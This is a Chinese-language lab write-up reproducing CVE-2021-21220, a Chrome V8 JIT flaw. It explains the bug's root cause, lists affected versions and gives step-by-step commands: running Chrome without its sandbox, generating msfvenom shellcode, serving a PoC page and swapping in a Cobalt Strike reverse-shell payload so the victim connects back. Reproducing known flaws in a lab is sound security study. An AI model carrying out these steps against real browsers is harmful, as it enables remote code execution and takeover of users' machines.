CVE-2021-21220 Chrome远程代码执行漏洞复现
0x00 漏洞简介
Google Chrome浏览器是一款由Google公司开发的网页浏览器,该浏览器基于其他开源软件撰写,包括WebKit,目标是提升稳定性、速度和安全性,并创造出简单且有效率的使用者界面。
通过CVE-2021-21220漏洞,受害者通过未开沙箱机制的Chrome浏览器打开攻击者置入恶意代码的网页后就会执行攻击者想要执行的任意代码。
该漏洞产生的原因是Chrome的V8引擎JIT模块在 ChangeInt32ToInt64 函数的输入值一定会被看作一个 int32 的值来处理,就会进行有符号扩展,进而发生下溢,以此可以利用来修改一些东西,比如分配的数组的长度,这样就可以越界访问其他内存的数据,进而达到任意地址写的目的,攻击者还结合了一些其他手段来绕过Chrome内部的缓解措施达到任意目录执行的目的。漏洞的根源是V8 对ChangeInt32ToInt64的假设是该节点的输入必定被解释为一个有符号的Int32的值,所以无论 LoadRepresentation如何,都应该使用X64Movsxlq指令。
0x01 影响版本
- x64架构 Google Chrome <= 89.0.4389.128
- 基于Chromium内核的 Microsoft Edge <= 89.0.774.76
- 其他基于V8引擎的浏览器
0x02 环境搭建
准备一台win7 虚拟机:192.168.87.157,下载安装历史版本的x64的chrome浏览器(下载地址:https://www.chromedownloads.net/chrome64win-stable/1137.html)
并禁用掉chrome自动更新:https://www.cnblogs.com/mq0036/p/13947021.html
一台kali:192.168.87.128
0x03 漏洞复现
(1)准备好chrome浏览器64位,右键属性,复制路径,cmd 切换至该路径,运行无沙箱模式chrome,访问poc页面
chrome.exe --no-sandbox
在kali上生成windows64位的shellcode(弹出计算器),复制替换到对应的poc.html的shellcode中
msfvenom -a x64 -p windows/x64/exec CMD="calc" EXITFUNC=thread -f num
这里是弹出计算器的poc.html展示
poc.html移动到/var/www/html 网页目录下,并使用python开启一个80端口的服务
python3 -m http.server 80
以无沙箱模式访问kali的http服务中构造好的poc页面
192.168.87.128/poc.html
成功弹出计算器
(2)使用CS上线shell
启动服务端程序,服务器ip(kali),密码
启动客户端CS程序(windows客户端),输入刚设置的密码,用户名任意
打开监听器模块,新建一个监听器
继续,使用生成后门功能生成一个反弹shell的payload,保存至桌面
生成的payload.c,将\全部替换成0后,和刚才一样替换到shellcode
\替换成 ,0(注意:是空格,0)
替换pocbs4.html中的shellcode
访问pocbs4.html
可以看到cs中,目标已上线
执行命令,以及后续渗透工作